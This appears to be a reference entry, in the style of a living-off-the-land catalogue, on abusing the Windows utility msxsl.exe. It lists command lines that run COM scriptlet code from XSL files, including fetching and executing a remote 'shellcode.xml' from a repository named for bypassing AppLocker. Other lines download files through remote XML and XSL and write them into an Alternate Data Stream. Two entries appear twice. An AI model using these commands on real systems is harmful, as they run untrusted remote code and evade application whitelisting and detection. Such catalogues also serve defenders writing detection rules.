Command line utility used to perform XSL transformations.
Run COM Scriptlet code within the script.xsl file (local).
msxsl.exe customers.xml script.xsl
Run COM Scriptlet code within the shellcode.xml(xsl) file (remote).
msxsl.exe https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml
Run COM Scriptlet code within the script.xsl file (local).
msxsl.exe customers.xml script.xsl
Run COM Scriptlet code within the shellcode.xml(xsl) file (remote).
msxsl.exe https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml
Using remote XML and XSL files, save the transformed XML file to disk.
msxsl.exe https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/calc.xml https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/transform.xsl -o <filename>
Using remote XML and XSL files, save the transformed XML file to an Alternate Data Stream (ADS).
msxsl.exe https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/calc.xml https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/transform.xsl -o <filename>:ads-name